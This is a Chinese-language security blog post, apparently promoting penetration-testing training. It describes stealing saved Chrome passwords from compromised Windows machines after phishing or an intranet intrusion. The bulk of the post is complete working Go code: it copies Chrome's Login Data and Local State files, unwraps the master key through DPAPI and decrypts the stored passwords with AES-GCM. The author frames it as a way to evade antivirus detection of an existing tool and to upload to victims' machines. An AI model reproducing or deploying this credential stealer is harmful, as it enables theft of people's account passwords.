当我们钓鱼或者进入内网获得一台机器权限的时候,第一步是需要信息搜集的,其中一步就是抓取并解密浏览器密码,虽然后一款非常好用的HackBrowserData工具,但是用的人多了也就开始被杀了。这篇文章就是来了解一下如何去解密Chrome浏览器密码的
抓取浏览器信息需要以下几个文件,这些文件存储了浏览器的信息,工具抓取也是去获取这些文件里面的信息。
chrome 敏感文件存储位置
chrome的登陆账号密码文件Login Data文件存储位置
C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Login Data
chrome中存储加密key的位置
C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Local State
chrome的cookie存储的位置:
C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Cookies
chrome的浏览历史History存储位置:
C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\History
chrome的收藏的书签存储位置:
C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Bookmarks
其中Cookies、History、Login Data是SQLite3数据库文件,可以使用sqlitestudio直接打开
Bookmarks是全明文的xml文件
Login Data文件是一个数据库文件,可以直接使用工具连接数据库。当chrome正在使用时,是不可连接的
User\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data
但是可以复制出来,再次进行连接。其他都是明文,密码字段是加密的
由于数据库使用的是sqlite3,使用golang脚本加载sqlite3库,进行连接,可正常查询数据
package main
import (
"database/sql"
"fmt"
"log"
"os"
_ "github.com/mattn/go-sqlite3"
)
var (
userPath, _ = os.UserHomeDir()
//保存的密码存到了logindata数据库sqlite
localData string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
localState string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"
temporary string = "D:\\GoProject\\test\\Login Data"
)
type chromeDB struct {
Origin_url string `json:"origin_url"`
Action_url string `json:"action_url"`
Username_value string `json:"username_value"`
Password_value string `json:"password_value"`
}
func sqLite() {
var chrome chromeDB
db, err := sql.Open("sqlite3", temporary)
checkErr(err)
sql := "SELECT origin_url,action_url, username_value, password_value FROM logins"
// stmt, err := db.Prepare(sql)
// checkErr(err)
//defer stmt.Close()
rows, err := db.Query(sql)
checkErr(err)
for rows.Next() {
err = rows.Scan(&chrome.Origin_url, &chrome.Action_url, &chrome.Username_value, &chrome.Password_value)
checkErr(err)
fmt.Println(chrome.Action_url)
}
}
func checkErr(err error) {
if err != nil {
log.Fatal(err)
}
}
func main() {
sqLite()
}
但是查询的密码是加密的,接下来需要对密码进行解密。
windows下的chrome使用的加密方法是AES加密,需要一个密钥就可以实现解密
在这个目录下的Local State文件存放了解密使用的KEY
user/AppData/Local/Google/Chrome/User Data/Local State
这个文件时json格式的,在encrypted_key参数对应的就是解密需要的key
chrome最新版在密钥加密后数据前缀是V10,在前面截图中可以看到。后12字节的字符才是真正的密文。Chrome使用的是AES-256-GCM的AEAD对称加密,然后再另一款工具中找到了解密方法(hackBrowserData)。首先获取os_crypt.encrypted_key字段中的数据,然后经过base64解密,再去除首位5个字符DPAPI。因为原始密钥加密的时候会带上APAPI前缀+base64编码然后存储到json文件
func GetMasterKey() ([]byte, error) {
keyFile, err := ioutil.ReadFile(temporarykey)
if err != nil {
return nil, err
}
defer os.Remove(string(keyFile))
encryptedKey := gjson.Get(string(keyFile), "os_crypt.encrypted_key")
if encryptedKey.Exists() {
pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
if err != nil {
return nil, errDecodeMasterKeyFailed
}
//去除首位5个字符DPAPI
masterKey, err := DPApi(pureKey[5:])
checkErr(err, "6")
return masterKey, err
}
return nil, nil
}
func DPApi(data []byte) ([]byte, error) {
dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
dllKernel := syscall.NewLazyDLL("Kernel32.dll")
procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
procLocalFree := dllKernel.NewProc("LocalFree")
var outBlob dataBlob
r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
if r == 0 {
return nil, err
}
defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
return outBlob.ToByteArray(), nil
}
func NewBlob(d []byte) *dataBlob {
if len(d) == 0 {
return &dataBlob{}
}
return &dataBlob{
pbData: &d[0],
cbData: uint32(len(d)),
}
}
这样就获得了一个key。获得了key之后就使用aesGCMD解密。如下就是解密方法
key,err := GetMasterKey()
pass, err := Chromium([]byte(key), []byte(chrome.Password_value))
func Chromium(key, encryptPass []byte) ([]byte, error) {
if len(encryptPass) > 15 {
// remove Prefix 'v10'
return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15])
} else {
return nil, errPasswordIsEmpty
}
}
func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
origData, err := blockMode.Open(nil, nounce, crypted, nil)
if err != nil {
return nil, err
}
return origData, nil
}
有了key可解密方法之后就可以传入数据库中的密码和key进行解密,如下是完整的解密代码。可自行测试,
package main
import (
"crypto/aes"
"crypto/cipher"
"database/sql"
"encoding/base64"
"errors"
"fmt"
"io/ioutil"
"os"
"syscall"
"unsafe"
_ "github.com/mattn/go-sqlite3"
"github.com/tidwall/gjson"
)
var (
userPath, _ = os.UserHomeDir()
//保存的密码存到了logindata数据库sqlite
localData string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
localState string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"
//这里是我临时存放这两个文件的目录位置,当然也可以copy到指定目录
temporarydb string = "C:\\Users\\admin\\Desktop\\test\\Login Data"
temporarykey string = "C:\\Users\\admin\\Desktop\\test\\Local State"
)
type chromeDB struct {
Origin_url string `json:"origin_url"`
Action_url string `json:"action_url"`
Username_value string `json:"username_value"`
Password_value string `json:"password_value"`
}
type dataBlob struct {
cbData uint32
pbData *byte
}
func sqLite() {
fmt.Println(localState)
var chrome chromeDB
db, err := sql.Open("sqlite3", temporarydb)
checkErr(err, "1")
sql := "SELECT origin_url,action_url, username_value, password_value FROM logins"
rows, err := db.Query(sql)
checkErr(err, "2")
for rows.Next() {
err = rows.Scan(&chrome.Origin_url, &chrome.Action_url, &chrome.Username_value, &chrome.Password_value)
checkErr(err, "3")
// fmt.Println(chrome.Password_value)
key, err := GetMasterKey()
checkErr(err, "4")
pass, err := Chromium([]byte(key), []byte(chrome.Password_value))
checkErr(err, "5")
fmt.Println(string(pass))
}
}
var (
errPasswordIsEmpty = errors.New("password is empty")
errDecodeMasterKeyFailed = errors.New("decode master key failed")
)
func Chromium(key, encryptPass []byte) ([]byte, error) {
if len(encryptPass) > 15 {
// remove Prefix 'v10'
return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15])
} else {
return nil, errPasswordIsEmpty
}
}
func GetMasterKey() ([]byte, error) {
keyFile, err := ioutil.ReadFile(temporarykey)
if err != nil {
return nil, err
}
defer os.Remove(string(keyFile))
encryptedKey := gjson.Get(string(keyFile), "os_crypt.encrypted_key")
if encryptedKey.Exists() {
pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
if err != nil {
return nil, errDecodeMasterKeyFailed
}
//去除首位5个字符DPAPI
masterKey, err := DPApi(pureKey[5:])
checkErr(err, "6")
return masterKey, err
}
return nil, nil
}
func NewBlob(d []byte) *dataBlob {
if len(d) == 0 {
return &dataBlob{}
}
return &dataBlob{
pbData: &d[0],
cbData: uint32(len(d)),
}
}
func (b *dataBlob) ToByteArray() []byte {
d := make([]byte, b.cbData)
copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
return d
}
func DPApi(data []byte) ([]byte, error) {
dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
dllKernel := syscall.NewLazyDLL("Kernel32.dll")
procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
procLocalFree := dllKernel.NewProc("LocalFree")
var outBlob dataBlob
r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
if r == 0 {
return nil, err
}
defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
return outBlob.ToByteArray(), nil
}
func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
origData, err := blockMode.Open(nil, nounce, crypted, nil)
if err != nil {
return nil, err
}
return origData, nil
}
func checkErr(err error, str string) {
if err != nil {
fmt.Println(err, str)
}
}
func main() {
sqLite()
}
输出结果
如果你不会做免杀,那么就可以单独写一个解密工具,如遇到对方机器只有Chrome的时候,可以上传这个小工具
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
需要渗透测试培训联系
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论